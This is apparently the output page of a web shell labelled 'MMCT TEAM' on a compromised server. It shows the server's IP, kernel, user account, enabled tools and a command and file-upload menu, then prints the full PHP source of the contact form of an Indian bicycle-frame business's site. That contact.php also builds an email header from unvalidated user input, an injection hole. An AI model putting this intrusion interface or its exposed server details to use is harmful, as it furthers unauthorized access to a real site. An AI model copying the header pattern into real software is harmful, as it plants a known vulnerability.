MMCT TEAM
Server IP : 103.53.40.154  /  Your IP : 18.188.113.189
Web Server : Apache
System : Linux md-in-35.webhostbox.net 4.19.286-203.ELK.el7.x86_64 #1 SMP Wed Jun 14 04:33:55 CDT 2023 x86_64
User : ppcad7no ( 715)
PHP Version : 8.2.25
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON
Directory (0750) :  /home2/ppcad7no/fozan.in/

[  Home  ][  C0mmand  ][  Upload File  ]

Current File : /home2/ppcad7no/fozan.in/contact.php
<?php
include_once('admin/config.php');

if ($_SERVER["REQUEST_METHOD"] === "POST") {
    if (isset($_POST['submit'])) {
        $name = $_POST['name'];
        $phone = $_POST['phone'];
        $email = $_POST['email'];
        $message = $_POST['message'];

        if (empty($name)) {
            $errors[] = "Name field is required.";
        } elseif (!ctype_alpha($name)) {
            $errors[] = "Name can only contain alphabets.";
        }

        if (empty($email)) {
            $errors[] = "Email field is required.";
        }

        if (empty($phone)) {
            $errors[] = "Phone field is required.";
        } elseif (!preg_match('/^\d{10}$/', $phone)) {
            $errors[] = "Phone number should have exactly 10 digits.";
        }
        if (!empty($message)) {
            $message = htmlspecialchars($message); // Sanitize the message input
        }

        if (empty($errors)) {
            $query = "INSERT INTO `tbl_queries` (`name`, `phone`, `email`, `message`) VALUES (?, ?, ?, ?)";
            $stmt = mysqli_prepare($db, $query);
            mysqli_stmt_bind_param($stmt, "ssss", $name, $phone, $email, $message);
            $result = mysqli_stmt_execute($stmt);
            mysqli_stmt_close($stmt);
            
            if ($result) {
                // Sending email
                $to = "info@fozan.in";
                // $to = "digitalsaleem12@gmail.com";
                $subject = "New Query Submitted";
                $emailMessage = "A New Query Has Been Submitted:\n\n";
                $emailMessage .= "Name: $name\n";
                $emailMessage .= "Phone: $phone\n";
                $emailMessage .= "Email: $email\n";
                $emailMessage .= "Message: $message\n";
                
                $headers = "From: $email";
                
                if (mail($to, $subject, $emailMessage, $headers)) {
                echo "<script>
                window.alert('Successfully Sent! We will contact you soon');
                window.location.href = 'contact-us.html';
                </script>";
            } else {
               echo "Error sending email.";
                }
            } else {
              echo "Error";
            }
        }
    }
}
?>
<!DOCTYPE html>
<html lang="zxx">

<head>
	<meta charset="UTF-8">
	<meta name="viewport" content="width=device-width, initial-scale=1, shrink-to-fit=no">
	<?php include "head-links.php";?>
	
	<title>Contact Us - Fozan Bicycle Frame in Ghaziabad</title>
    <meta name="description" content="Visit Us - A-65, Sec A4, Trans Delhi Signature City, Tronica City Ghaziabad 201103 - +91 98998 01728 - info@fozan.in">
    <style>
        form{
        background-image: linear-gradient(to right, #d3d3d3, #06beb66b);
        padding: 20px;
        }
    </style>
</head>

<body id="home" class="inner-scroll">
    
	<?php include "header.php";?>
	
	<!-- ================ HEADER-TITLE ================ -->
	<section class="s-header-title">
		<div class="container">
			<h1>Contacts Us</h1>
			<ul class="breadcrambs">
				<li><a href="<?php echo $wspath?>">Home</a></li>
				<li>Contacts</li>
			</ul>
		</div>
	</section>
	<!-- ============== HEADER-TITLE END ============== -->
	
	<!--================ CONTACTS-BLOCK ================-->
	<section class="s-contacts-block">
		<div class="container">
			<div class="row contacts-block">
				<div class="col-12 col-md-4">
					<div class="contact-block-item">
						<div class="contact-block-left">
							<img src="assets/img/cont-icon-1.svg" alt="img">
							<h6>Call Us</h6>
						</div>
						<div class="contact-block-right">
							<ul>
								<!--<li><a href="tel:18004886040">1-800-488-6040</a></li>-->
								<li><a href="tel:<?php echo $datac["phone"]; ?>" style="color: #192330!important;"><?php echo $datac["phone"]; ?></a></li>
							</ul>
						</div>
					</div>
				</div>
				<div class="col-12 col-md-4">
					<div class="contact-block-item">
						<div class="contact-block-left">
							<img src="assets/img/cont-icon-2.svg" alt="img">
							<h6>Email Us</h6>
						</div>
						<div class="contact-block-right">
							<ul>
								<!--<li><a href="mailto:team@gmail.com">team@gmail.com</a></li>-->
								<li><a href="mailto:<?php echo $datac["email"]; ?>" style="color: #192330!important;"><?php echo $datac["email"]; ?></a></li>
							</ul>
						</div>
					</div>
				</div>
				<div class="col-12 col-md-4">
					<div class="contact-block-item">
						<div class="contact-block-left">
							<img src="assets/img/cont-icon-3.svg" alt="img">
							<h6>Address</h6>
						</div>
						<div class="contact-block-right">
							<ul>
								<li><a class="item-scroll" style="color: #192330!important;"><?php echo $datac["address"]; ?></a></li>
							</ul>
						</div>
					</div>
				</div>
			</div>
		</div>
	</section>
	<!--============== CONTACTS-BLOCK END ==============-->

	<!--=================== S-CONTACTS ===================-->
	<section class="s-contacts page-contacts">
		<div class="container s-anim">
			<h2 class="title">Contact us</h2>
			<form action="<?php $_PHP_SELF?>" method="POST">
				<ul class="form-cover">
					<li class="inp-name">
					    <input type="text" name="name" placeholder="Name"required>
                        <?php if (isset($errors) && in_array("Name field is required.", $errors)) { ?>
                            <p class="error">Name field is required.</p>
                        <?php } elseif (isset($errors) && in_array("Name can only contain alphabets.", $errors)) { ?>
                            <p class="error">Name can only contain alphabets.</p>
                        <?php } ?>
					</li>
					<li class="inp-phone">
					    <input type="text" name="phone" placeholder="Phone" id="phone_no" minlength="10" maxlength="10" onkeypress="return isNumberKey(event)" pattern=".{10,10}" class="form-control" onpaste="return false;" required>
                        <?php if (isset($errors) && in_array("Phone field is required.", $errors)) { ?>
                            <p class="error">Phone field is required.</p>
                        <?php } elseif (isset($errors) && in_array("Phone number should have exactly 10 digits.", $errors)) { ?>
                            <p class="error">Phone number should have exactly 10 digits.</p>
                        <?php } ?>
					</li>
					<li class="inp-email">
					    <input type="email" name="email" placeholder="E-mail" required>
                        <?php if (isset($errors) && in_array("Email field is required.", $errors)) { ?>
                            <p class="error">Email field is required.</p>
                        <?php } ?>
					</li>
					<li class="inp-text">
					    <textarea name="message" placeholder="Message"></textarea>
					</li>
				</ul>
				<!--<div class="checkbox-wrap">-->
				<!--	<div class="checkbox-cover">-->
				<!--		<input type="checkbox">-->
				<!--		<p>By using this form you agree with the storage and handling of your data by this website.</p>-->
				<!--	</div>-->
				<!--</div>-->
				<div class="btn-form-cover">
					<button type="submit" name="submit" class="btn"><span>submit comment</span></button>
				</div>
			</form>
			<!--<div id="message"></div>-->
		</div>
	</section>
	<!--================= S-CONTACTS END =================-->

	<!--===================== S-MAP =====================-->
	<section class="s-map">
		<div id="map" class="cont-map google-map">
		    <iframe src="<?php echo $datac["map_link"]; ?>" width="100%" height="415px;" style="border:0;" allowfullscreen="" loading="lazy" referrerpolicy="no-referrer-when-downgrade"></iframe>
		</div>
	</section>
	<!--=================== S-MAP END ===================-->
	
	
	<?php include "footer.php";?>
	
</body>
</html>

MMCT - 2023